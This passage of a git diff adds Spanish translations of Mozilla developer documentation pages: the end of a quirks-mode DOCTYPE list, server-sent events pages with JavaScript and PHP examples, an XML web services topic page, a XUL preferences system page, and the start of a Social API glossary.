+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+3.2+Final%2F%2FEN%22%3E">"-//W3C//DTD HTML 3.2 Final//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+3.2+Draft%2F%2FEN%22%3E">"-//W3C//DTD HTML 3.2 Draft//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+Experimental+970421%2F%2FEN%22%3E">"-//W3C//DTD HTML Experimental 970421//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+3.2S+Draft%2F%2FEN%22%3E">"-//W3C//DTD HTML 3.2S Draft//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+W3+HTML%2F%2FEN%22%3E">"-//W3C//DTD W3 HTML//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?pubid=-%2F%2FMetrius%2F%2FDTD+Metrius+Presentational%2F%2FEN">"-//Metrius//DTD Metrius Presentational//EN"</a>.</li>
+</ul>
+<p>Tenga en cuenta que todas las comparaciones de los identificadores públicos son insensibles a mayúsculas o minúsculas (técnicamente esto es incorrecto, puesto que las cadenas sí son sensibles). Esto se hace así por el gran número de páginas con identificadores públicos en los que se usan mal.</p>
+<h2 id="Ver_m.C3.A1s" name="Ver_m.C3.A1s">Ver más</h2>
+<ul>
+ <li><a href="/es/Desarrollo_Web" title="es/Desarrollo_Web">Desarrollo Web</a></li>
+ <li><a href="/es/Modo_Quirks_en_Mozilla" title="es/Modo_Quirks_en_Mozilla">Modo Quirks en Mozilla</a></li>
+ <li><a href="/en/Mozilla_Quirks_Mode_Behavior">Mozilla Quirks Mode Behavior (en)</a></li>
+</ul>
+<div class="originaldocinfo">
+ <h2 id="Informaci.C3.B3n_sobre_el_Documento_Original" name="Informaci.C3.B3n_sobre_el_Documento_Original">Información sobre el Documento Original</h2>
+ <ul>
+  <li>Author(s): <a class="external" href="http://dbaron.org/">David Baron</a></li>
+  <li>Last Updated Date: August 2, 2005</li>
+  <li>Copyright Information: Copyright (C) <a class="external" href="http://dbaron.org/">David Baron</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/es/server-sent_events/index.html b/files/es/server-sent_events/index.html
new file mode 100644
index 0000000000..9b22801732
--- /dev/null
+++ b/files/es/server-sent_events/index.html
@@ -0,0 +1,99 @@
+---
+title: Server-sent events
+slug: Server-sent_events
+tags:
+  - NeedsTranslation
+  - Server-sent events
+  - TopicStub
+translation_of: Web/API/Server-sent_events
+---
+<p>Traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data from the server. With server-sent events, it's possible for a server to send new data to a web page at any time, by pushing messages to the web page. These incoming messages can be treated as <em><a href="/en-US/docs/DOM/event" title="DOM/Event">Events</a> + data</em> inside the web page.</p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 class="Documentation" id="Documentation" name="Documentation">Documentation</h2>
+        <dl>
+          <dt>
+            <a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="Server-sent events/Using server-sent events">Using server-sent events</a></dt>
+          <dd>
+            A tutorial guide to writing both server and client side part of a server-sent events app.</dd>
+          <dt>
+            <a href="/en-US/docs/Server-sent_events/EventSource" title="Server-sent events/EventSource">EventSource reference</a></dt>
+          <dd>
+            A reference to the client-side EventSource API.</dd>
+        </dl>
+        <p><span class="alllinks"><a href="/en-US/docs/tag/Server-sent_events" title="tag/Server-sent events">View All...</a></span></p>
+      </td>
+      <td>
+        <h2 class="Tools" id="Tools" name="Tools">Tools</h2>
+        <ul>
+          <li>Remy Sharp’s <a class="link-https" href="https://github.com/remy/polyfills/blob/master/EventSource.js">EventSource polyfill</a></li>
+          <li>Yaffle’s <a class="link-https" href="https://github.com/Yaffle/EventSource" title="https://github.com/Yaffle/EventSource">EventSource polyfill</a></li>
+          <li>Rick Waldron’s <a class="link-https" href="https://github.com/rwldrn/jquery.eventsource">jquery plugin</a></li>
+        </ul>
+        <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
+        <ul>
+          <li><a href="/en-US/docs/AJAX" title="AJAX">AJAX</a>, <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>, <a href="/en-US/docs/WebSockets" title="WebSockets">WebSockets</a></li>
+        </ul>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="See_also">See also</h2>
+<ul>
+  <li>A <a href="http://hacks.mozilla.org/2011/06/a-wall-powered-by-eventsource-and-server-sent-events/" title="http://hacks.mozilla.org/2011/06/a-wall-powered-by-eventsource-and-server-sent-events/">Twitter like application</a> powered by server-sent events and <a class="link-https" href="https://github.com/mozilla/webowonder-demos/tree/master/demos/friends%20timeline" title="https://github.com/mozilla/webowonder-demos/tree/master/demos/friends timeline">its code on Github</a>.</li>
+  <li><a href="http://dsheiko.com/weblog/html5-and-server-sent-events" title="http://dsheiko.com/weblog/html5-and-server-sent-events">HTML5 and Server-sent events</a></li>
+  <li><a href="http://rajudasa.blogspot.in/2012/05/html5-server-sent-events-using-aspnet.html" title="http://rajudasa.blogspot.in/2012/05/html5-server-sent-events-using-aspnet.html">Server-sent events using Asp.Net</a></li>
+</ul>
+<h2 id="Specification">Specification</h2>
+<ul>
+  <li><a href="http://dev.w3.org/html5/eventsource/" title="http://dev.w3.org/html5/eventsource/">Server-sent events</a></li>
+</ul>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<div>
+  {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera</th>
+        <th>Safari</th>
+      </tr>
+      <tr>
+        <td>EventSource support</td>
+        <td>9</td>
+        <td>{{CompatGeckoDesktop("6.0")}}</td>
+        <td>{{CompatUnknown}}</td>
+        <td>11</td>
+        <td>5</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Mobile</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>EventSource support</td>
+        <td>{{CompatUnknown}}</td>
+        <td>{{CompatUnknown}}</td>
+        <td>{{CompatUnknown}}</td>
+        <td>{{CompatUnknown}}</td>
+        <td>{{CompatUnknown}}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
diff --git a/files/es/server-sent_events/utilizando_server_sent_events_sse/index.html b/files/es/server-sent_events/utilizando_server_sent_events_sse/index.html
new file mode 100644
index 0000000000..81a2f5dacc
--- /dev/null
+++ b/files/es/server-sent_events/utilizando_server_sent_events_sse/index.html
@@ -0,0 +1,231 @@
+---
+title: Utilizando eventos enviados por el servidor (server-sent event)
+slug: Server-sent_events/utilizando_server_sent_events_sse
+translation_of: Web/API/Server-sent_events/Using_server-sent_events
+---
+<p>Desarrollar una aplicación web que utilice server-sent events es muy fácil. Solo necesitas un pequeño código del lado del servidor para transmitir los eventos a la aplicación web, pero del lado de la aplicacion web se trabaja prácticamente igual que con cualquier otro tipo de eventos.</p>
+
+<p>Puedes ver un ejemplo <a href="https://developer.mozilla.org/samples/sse/">aqui</a> (actualmente no funciona).</p>
+
+<p><a href="http://www.w3schools.com/html/tryit.asp?filename=tryhtml5_sse">ejemplo2</a></p>
+
+<h2 id="Recibiendo_eventos_desde_el_servidor">Recibiendo eventos desde el servidor</h2>
+
+<p>El server-sent event API está contenido en la interfaz <a href="https://developer.mozilla.org/en/Server-sent_events/EventSource"><code>EventSource</code></a>; para abrir una conexión al servidor para recibir eventos de él. Se crea un nuevo objeto new <a href="https://developer.mozilla.org/en/Server-sent_events/EventSource">EventSource</a>, especificando el URI de un script que genera los eventos, Por ejemplo:</p>
+
+<pre class="brush: js">var evtSource = new EventSource("ssedemo.php");
+</pre>
+
+<div class="note"><strong>Nota</strong>: Aunque todavía no es parte de la norma, EventSource es soportado por Firefox 11 y posteriores. Se espera que pronto forme parte del estándar.</div>
+
+<p>Una vez que ha instanciado el origen del evento, puede comenzar a escuchar los mensajes:</p>
+
+<pre class="brush: js">evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.innerHTML = "message: " + e.data;
+  eventList.appendChild(newElement);
+}
+</pre>
+
+<p>Este codigo escucha todos los mensajes entrantes (Es decir, todos los avisos del servidor, que no tienen un campo de eventos en ellos) y anexa texto del mensaje a la lista en el documento HTML.</p>
+
+<p>También puedes escuchar eventos, usando <code>addEventListener()</code>:</p>
+
+<pre class="brush: js">evtSource.addEventListener("ping", function(e) {
+  var newElement = document.createElement("li");
+
+  var obj = JSON.parse(e.data);
+  newElement.innerHTML = "ping at " + obj.time;
+  eventList.appendChild(newElement);
+}, false);
+</pre>
+
+<p>Este código es similar,  excepto que este se activa cada vez que el servidor envia un mensaje con el campo de evento "ping"; entonces se analiza el JSON en el campo de datos y retorna esa informacion.</p>
+
+<h2 id="Enviando_eventos_desde_el_servidor">Enviando eventos desde el servidor</h2>
+
+<p>El script del servidor que envia los datos tiene que responder con el tipo MIME text/event-stream. Cada notificación se envia con un bloque de texto terminado en un par de saltos de línea, para mas detalles sobre el formato sobre la secuencia de evetos, ver {{ anch("Event stream format") }},</p>
+
+<p>El codigo PHP para este ejemplo que estamos utilizando:</p>
+
+<pre class="brush: php">date_default_timezone_set("America/New_York");
+header("Content-Type: text/event-stream\n\n");
+
+$counter = rand(1, 10);
+while (1) {
+  // Every second, sent a "ping" event.
+
+  echo "event: ping\n";
+  $curDate = date(DATE_ISO8601);
+  echo 'data: {"time": "' . $curDate . '"}';
+  echo "\n\n";
+
+  // Send a simple message at random intervals.
+
+  $counter--;
+
+  if (!$counter) {
+    echo 'data: This is a message at time ' . $curDate . "\n\n";
+    $counter = rand(1, 10);
+  }
+
+  ob_flush();
+  flush();
+  sleep(1);
+}
+</pre>
+
+<p>Se genera un evento cada segundo, con el evento "ping". Los datos de cada evento es un objeto JSON que contiene, en este caso, solo la fecha en formato ISO 8601 correspondiente a la hora en que se generó el evento. A intervalos aleatorios, se envia un mensaje simple (sin ningún tipo de evento)</p>
+
+<h2 id="Gestion_de_errores">Gestion de errores</h2>
+
+<p>Cuando se producen problemas (como un tiempo de espera o problemas relacionados con el control de acceso), se genera un evento de error. Puedes tomar acción sobre esto al implementar una devolución de llamada al objeto EventSource:</p>
+
+<pre class="brush: js">evtSource.onerror = function(e) {
+  alert("EventSource failed.");
+};
+</pre>
+
+<p>En Firefox 22, no parece que haya manera de distinguir entre los diferentes de eventos de error.</p>
+
+<h2 id="Cerrando_flujo_de_eventos" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">Cerrando flujo de eventos</h2>
+
+<p>Por defecto, si la conexión entre el cliente y el servidor se cierra, la conexión es reiniciada. Podemos terminar la conexión con el método <code>.close()</code></p>
+
+<pre class="language-html" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-html" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;">evtSource.close();</code></pre>
+
+<div> </div>
+
+<h2 id="Formato_de_flujo_de_eventos_(formato_stream)">Formato de flujo de eventos (formato stream)</h2>
+
+<p>El flujo de eventos es una corriente sencilla de datos de texto, que deben ser codificados usando UTF-8. Los mensajes en el flujo de eventos están separados por un par de caracteres de salto de línea. Si hay un símbolo de dos puntos como primer caracter de una línea, se entiende que es un comentario y es ignorado. </p>
+
+<div class="note"><strong>Nota:</strong> La línea de comentario se puede usar para prevenir que la conexión se agote por tiempo (timeout); un sevidor puede enviar periódicamente un comentario para mantener viva la conexión.</div>
+
+<p>Cada mensaje consiste en una o más líneas de texto que enumeran los campos para ese mensaje. Cada campo está representado por el nombre del campo, seguido por los datos de texto para el valor de ese campo.</p>
+
+<h3 id="Campos">Campos</h3>
+
+<p>Los siguientes nombres de campo son definidos por la especificación:</p>
+
+<h4 id="event">event</h4>
+
+<p style="margin-left: 40px;">El tipo de evento. Si se especifica, un evento se enviará al navegador a la escucha para el nombre del evento especificado, el sitio web usaria <code>addEventLister()</code> para escuchar eventos nombrados. El controlador <code>onmessage</code> se llama si no se especifica el nombre del evento para un mensaje.</p>
+
+<h4 id="data">data</h4>
+
+<p style="margin-left: 40px;">El campo de datos  para el mensaje. Cuando el EventSource recibe múltiples lineas con "<code>data:</code>", se concatenara, insertando un caracter de nueva de linea entre cada uno. Se eliminan los saltos de línea al final <strong>[VERIFICAR].</strong></p>
+
+<h4 id="id"><strong>id</strong></h4>
+
+<p style="margin-left: 40px;">  El ID del evento que establecerá el último ID del objeto EventSource.</p>
+
+<h4 id="Retry"><strong>Retry</strong></h4>
+
+<p style="margin-left: 40px;">El tiempo de reconexión para usar al intentar enviar el evento. [Qué código maneja esto?] Este debe ser un número entero, que especifica el tiempo de reconexion en milisegundos. Si se especifica un valor no entero, el campo se ignora.  </p>
+
+<p>Se omiten todos los demas nombres de campo.</p>
+
+<div class="note"><strong>Nota:</strong> Si una línea no contiene dos puntos, la línea entera se tratara como un nombre de campo, con una cadena de valor vacio.</div>
+
+<h3 id="Ejemplos">Ejemplos</h3>
+
+<h4 id="Mensajes_con_datos_únicamente">Mensajes con datos únicamente</h4>
+
+<p>En el siguiente ejemplo, hay tres mensajes enviados. El primero es solo un comentario, debido a que empieza con dos puntos. Como se mencionó anteriormente, esto puede ser útil para mantener la conexión viva si los mensajes no son enviados regularmente.</p>
+
+<p>The second message contains a data field with the value "some text". The third message contains a data field with the value "another message\nwith two lines". Note the newline in the value.</p>
+
+<p>El segundo mensaje contiene un campo de datos con el valor "some text". El tercer mensaje contiene un campo de datos con el valor "another message\nwith two lines". Nota la nueva línea en el valor.</p>
+
+<pre>: this is a test stream
+
+data: some text
+
+data: another message
+data: with two lines
+</pre>
+
+<h4 id="Eventos_nombrados">Eventos nombrados</h4>
+
+<p>Este ejemplo envia algunos eventos nombrados. Cada uno tiene un nombre de evento especificado por el campo <code>event</code>, y un campo <code>data</code> cuyo valor es una cadena JSON apropiada con los datos necesarios para que el cliente actue sobre el evento. El campo <code>data</code>, podria, por supuesto, tener cualquier cadena; no tiene que ser un JSON.</p>
+
+<pre>event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
+
+event: userdisconnect
+data: {"username": "bobby", "time": "02:34:23"}
+
+event: usermessage
+data: {"username": "sean", "time": "02:34:36", "text": "Bye, bobby."}
+</pre>
+
+<h4 id="Mezclando_y_emparejando">Mezclando y emparejando</h4>
+
+<p>No tienes que usar solamente mensajes sin nombrar o eventos tipados; puedes mezclarlo juntos en un solo flujo de evento.</p>
+
+<pre>event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+data: Here's a system message of some kind that will get used
+data: to accomplish some task.
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
+</pre>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>EventSource support</td>
+   <td>9</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>11</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android-and-Meego</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>EventSource support</td>
+   <td>6 a 24 b</td>
+   <td>1.0</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>11.1</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/es/servicios_web_xml/index.html b/files/es/servicios_web_xml/index.html
new file mode 100644
index 0000000000..3101b6dc9e
--- /dev/null
+++ b/files/es/servicios_web_xml/index.html
@@ -0,0 +1,20 @@
+---
+title: Servicios Web XML
+slug: Servicios_Web_XML
+tags:
+  - Servicios_Web_XML
+  - Todas_las_Categorías
+translation_of: Archive/Mozilla/Firefox/SOAP_in_Gecko-based_Browsers
+---
+<p> </p>
+<div class="callout-box"><strong><a href="/es/Principios_básicos_de_los_servicios_Web" title="es/Principios_básicos_de_los_servicios_Web">Principios básicos de los servicios Web</a></strong><br>
+A short introduction to web services.</div>
+<div>Un <strong>servicio Web</strong> es una colección de protocolos y estándares empleados para intercambiar datos entre aplicaciones y sistemas. Las aplicaciones, escritas en diversos lenguajes de programación y ejecutándose en distintas plataformas pueden utilizar los servicios Web para intercambiar datos sobre una red de ordenadores como Internet de una forma similar a la comunicación entre procesos en un solo ordenador. En los servicios Web, todos los datos se intercambian se formatean con etiquetas XML{{ Ref(1) }}</div>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"><a href="/Special:Tags?tag=Servicios_Web_XML&amp;language=es" title="Special:Tags?tag=Servicios_Web_XML&amp;language=es">Documentación</a></h4> <dl> <dt><a class="external" href="http://www.w3c.es/Traducciones/es/TR/2003/REC-soap12-part0-20030624/">SOAP Versión 1.2 Parte 0: Fundamentos</a></dt> <dd>Traducción del documento inicial de la especificación de SOAP 1.2. <br> "Es un documento no normativo que pretende proporcionar un tutorial fácilmente entendible sobre las características de SOAP"</dd> </dl> <dl> <dt><a href="/es/SOAP_en_los_navegadores_basados_en_Gecko" title="es/SOAP_en_los_navegadores_basados_en_Gecko">SOAP en los navegadores basados en Gecko</a></dt> <dd>Este artículo muestra como acceder a los servicios web utilizando SOAP y JavaScript en los navegadores basados en Gecko.</dd> </dl> <dl> <dt><a href="/en/Mozilla_Web_Services_Security_Model">Mozilla Web Services Security Model</a></dt> <dd>To prevent the browser from being used as a tool for Web sites to obtain priveleges that belong to the browser's user, Web browsers restrict what Web pages can do when accessing things in other domains. These restrictions apply to Web Services.</dd> </dl> <dl> <dt><a class="external" href="http://www.w3schools.com/soap/default.asp">Tutorial de W3School sobre SOAP (en)</a></dt> <dd>SOAP es un protocolo basado en XML que permite a las aplicaciones intercambiar información sobre HTTP. En este tutorial de <a class="external" href="http://www.w3schools.com">W3Schools</a> sobre SOAP, aprenderá que es SOAP, y como utilizar el lenguaje XML para intercambiar información entre aplicaciones.</dd> </dl> <p><span class="comment">los comento por que no me parecen apropiados ; {{ mediawiki.external('http://davenet.scripting.com/1998/07/14/xmlRpcForNewbies XML-RPC para novatos (en)') }}&lt;br /&gt; : &lt;small&gt;Informal pero informativa introducción a XML Remote Procedure Calls. (XML-RPC).&lt;/small&gt;  ; {{ mediawiki.external('http://xmlrpc-c.sourceforge.net/xmlrpc-howto/xmlrpc-howto.html XML-RPC HowTo (en)') }}&lt;br /&gt; : &lt;small&gt;Este articulo describe como utilizar XML-RPC para implementar clientes y servidores en una gran variedad de lenguajes, proporcionando código fuente en Perl, Pitón, C, C++, Java, PHP y otros lenguajes. Este articulo también incluye secciones sobre Zope y KDE 2.0.La información aquí contenida se aplica a todos los sistemas operativos con soporte XML-RPC.&lt;/small&gt;  ; {{ mediawiki.external('http://webservices.xml.com/pub/a/ws/2001/04/04/webservices/ A Web Services Primer (en)') }}&lt;br /&gt; : &lt;small&gt;"Los servicios Web son una nueva variedad de aplicaciones Web. Son auto contenidos, auto descriptivos, aplicaciones modulares que pueden ser publicadas, localizadas y ejecutadas a través del Web. Realizando funciones que pueden variar desde la función más sencilla a complicados procesos de negocio. Una vez que se despliega un servicio Web otras aplicaciones (y otros servicios Web) pueden descubrirlo y ejecutarlo."&lt;/small&gt;</span></p> <p><span class="alllinks"><a href="/Special:Tags?tag=Servicios_Web_XML&amp;language=es" title="Special:Tags?tag=Servicios_Web_XML&amp;language=es">Ver más...</a></span></p> </td> <td> <h4 id="Comunidad" name="Comunidad">Comunidad</h4> <ul> <li>La comunidad Mozilla... en inglés</li> </ul> <p>{{ DiscussionList("dev-tech-xml", "mozilla.dev.tech.xml") }}</p> <p><span class="alllinks"><a href="/Special:Tags?tag=Servicios_Web_XML:Artículos&amp;language=es" title="Special:Tags?tag=Servicios_Web_XML:Artículos&amp;language=es">Ver más...</a></span></p> <h4 id="Herramientas" name="Herramientas">Herramientas</h4> <p><span class="alllinks"><a href="/Special:Tags?tag=Servicios_Web_XML:Herramientas&amp;language=es" title="Special:Tags?tag=Servicios_Web_XML:Herramientas&amp;language=es">Ver más...</a></span></p> <h4 id="Temas_Relacionados" name="Temas_Relacionados">Temas Relacionados</h4> <dl> <dd><a href="/es/XML" title="es/XML">XML</a></dd> </dl> </td> </tr> </tbody>
+</table>
+&lt;hr&gt;
+<p><small>{{ Note(1) }} De <a class="external" href="http://es.wikipedia.org/wiki/Servicios_Web"></a>.</small></p>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p> </p>
+<p>{{ languages( { "en": "en/XML_Web_Services", "fr": "fr/Services_Web_XML", "it": "it/XML_Web_Services", "ja": "ja/XML_Web_Services", "ko": "ko/XML_Web_Services", "pl": "pl/XML_Web_Services", "zh-cn": "cn/XML_Web_Services" } ) }}</p>
diff --git a/files/es/sistema_de_preferencias/index.html b/files/es/sistema_de_preferencias/index.html
new file mode 100644
index 0000000000..07638dcb46
--- /dev/null
+++ b/files/es/sistema_de_preferencias/index.html
@@ -0,0 +1,65 @@
+---
+title: Sistema de preferencias
+slug: Sistema_de_preferencias
+tags:
+  - Sistema_de_preferencias
+  - Todas_las_Categorías
+  - XUL
+  - páginas_a_traducir
+translation_of: Mozilla/Preferences/Preferences_system
+---
+<p>Este documento describe el nuevo sistema de preferencias del Toolkit de Aviary. Usando este sistema es posible crear ventanas de preferencias que se muestren y funcionen apropiadamente en varias plataformas (Windows, MacOS X y GNOME).</p>
+
+<p><strong>Ten en cuenta</strong> que el sistema de preferencias solo está disponible desde Firefox/Thunderbird 1.5 (incluyendo sus versiones alpha y beta). No puedes usarlo en las aplicaciones y extensiones basadas en Firefox 1.0.</p>
+
+<p>El nuevo sistema esta implementado mediante unos pocos elementos y atributos en <a href="es/XUL">XUL</a>. Puedes encontrar información sobre estos, simplemente haciendo clic en alguno de los enlaces a continuación:</p>
+
+<div class="moreinfo">  <p><strong>Documentación sobre el <a href="/es/docs/Sistema_de_preferencias">Sistema de preferencias</a>:</strong></p>  <ul>    <li>Introducción: <a href="/es/docs/Sistema_de_preferencias/Comenzando">Comenzando</a> | <a href="/es/docs/Sistema_de_preferencias/Ejemplos">Ejemplos</a> | <a href="/es/docs/Sistema_de_preferencias/Problemas">Problemas</a></li>    <li>Referencia: <code><a href="/es/docs/Mozilla/Tech/XUL/prefwindow" title="prefwindow">prefwindow</a></code> | <code><a href="/es/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code> | <code><a href="/es/docs/Mozilla/Tech/XUL/preferences" title="preferences">preferences</a></code> | <code><a href="/es/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code> | <a href="/es/docs/Sistema_de_preferencias/Nuevos_atributos">Nuevos atributos</a></li>  </ul></div>
+
+<h3 id="Uso" name="Uso">Uso</h3>
+
+<p><span class="comment">this will eventually be moved from here</span></p>
+
+<p>El código para una típica ventana de preferencias sería algo así:</p>
+
+<pre>&lt;prefwindow id="appPreferences"
+            xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+  &lt;prefpane id="pane1" label="&amp;pane1.title;"&gt;
+    &lt;preferences&gt;
+      &lt;preference id="pref1" name="pref.name" type="bool"/&gt;
+    &lt;/preferences&gt;
+
+   .. UI elements that refer to the preferences above, e.g.:
+    &lt;checkbox id="check1" preference="pref1"
+              label="&amp;check1.label;" accesskey="&amp;check1.accesskey;"/&gt;
+  &lt;/prefpane&gt;
+
+  &lt;prefpane id="pane2" label="&amp;pane2.title;" src="chrome://uri/to/pane.xul"/&gt;
+&lt;/prefwindow&gt;
+</pre>
+
+<p>La hoja de contenido puede ser especificada en línea, o mediante un enlace externo que cargue dicho contenido en la misma, de manera dinámica.Presta especial atención al HIGs de las plataformas en las que estés desarrollando y al usar el preprocesador de XUL si fuera necesario para configurar apropiadamente los diferentes titulos de ventana. Debes especificar también el ancho de la ventana (en el em) así como hacer un uso correcto del preprocesador para cada plataforma que uses , así como la altura (en el em) para aquellas plataformas en donde el tamaño de la ventana no cambie cuando se cambie al panel seleccionado.(p.ej. Windows).</p>
+
+<h3 id="Uso_en_aplicaciones_XULRunner" name="Uso_en_aplicaciones_XULRunner">Uso en aplicaciones XULRunner</h3>
+
+<p>Cuando abras el diálogo de preferencias en una aplicación XULRunner, asegúrate de comprobar lo siguiente:</p>
+
+<ul>
+ <li>Las preferencias boleanas browser.preferences.animateFadeIn y browser.preferences.instantApply deben ser definidas en las preferencias por defecto (véase <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=350528" title="FIXED: XULRunner needs to ship with some additional preferences">error 350528</a>). Ejemplo:</li>
+</ul>
+
+<pre class="eval">pref("browser.preferences.animateFadeIn", false);
+pref("browser.preferences.instantApply", true);
+</pre>
+
+<ul>
+ <li>Al llamar a openDialog() para abrir las preferencias de diálogo, "toolbar" debe incluirse en la secuencia de las características. Ejemplo:</li>
+</ul>
+
+<pre class="eval">var features = "chrome,titlebar,toolbar,centerscreen,modal";
+window.openDialog(url, "Preferences", features);
+</pre>
+
+<h3 id="Bugzilla" name="Bugzilla">Bugzilla</h3>
+
+<p>El componente para bugs (no disponible en las opciones de la interfaz de usuario en Firefox/Thunderbird ) se encuentra en Herramientas:Preferencias (<a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Toolkit">archivar un bug</a> <a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?query_format=advanced&amp;product=Toolkit&amp;component=Preferences&amp;resolution=---&amp;chfieldto=Now">lista de bugs</a>)</p>
diff --git a/files/es/social_api/glossary/index.html b/files/es/social_api/glossary/index.html
new file mode 100644
index 0000000000..a92cdda06a
--- /dev/null
+++ b/files/es/social_api/glossary/index.html
@@ -0,0 +1,53 @@
+---
+title: Glosario de Social API
+slug: Social_API/Glossary
+tags:
+  - Social
+translation_of: Archive/Social_API/Glossary
+---
+<div class="note">
+  <p><strong>Note:</strong> Hay algunos puntos destacados donde los enlaces hacia otros documentos necesitan ser añadidos cuando estos sean escritos.</p>
+</div>
+<p>Para hacer uso de Social API (si estás escribiendo un nuevo proveedor de servicios sociales o trabajando con un proveedor ya existente), hay un número de términos que necesitas saber. ¡Este glosario te ayudará!</p>
+<dl>
+  <dt>
+    Notificación Cliente-a-usuario (Client-to-user notification)</dt>
+  <dd>
+    La notificación Cliente-a-usuario es la API (interfaz de programación de aplicaciones) que se pone a disposición a un worker del servicio (service worker) para indicar que los datos y las interacciones están pendientes para el usuario en el dispositivo en particular, y que el servicio está listo para proporcionarlas. Sujeto a la configuración del navegador, estas notificaciones pueden ser utilizadas para lanzar una variedad de elementos de interfaz para llamar la atención, incluyendo ventanas temporales de estilo "toast" o "Growl", notificaciones ambientales (por ejemplo brillos, saltos, pulsaciones), o colecciones (por ejemplo paneles desplegables de notificación, listas de eventos pendientes). Estas notificaciones son construidas para permitir al service worker recibir notificaciones cuando el usuario indica interés en una de ellas, permitiendo la presentación de datos o interacción para proceder inmediatamente.</dd>
+  <dt>
+    Panel (Panel)</dt>
+  <dd>
+    Una región del interfaz de usuario (generalmente rectangular) que se muestra temporalmente por encima del contenido y de la interfaz del navegador; estos son usados para interacciones breves que son iniciadas por el usuario o que son muy importantes</dd>
+  <dt>
+    Recomendar (Recommend)</dt>
+  <dd>
+    El acto iniciado por el usuario de indicar que una pieza de contenido web (generalmente una URL) debe marcarse de interés para el usuario. No se espera una entrada distinta a una URL. Una recomendación puede ser completada sin widget; no tiene más interfaz de usuario que el botón, barra de menú o comando que indica "recomienda esto".</dd>
+  <dt>
+    Notificación servidor-a-cliente (Server-to-client notification)</dt>
+  <dd>
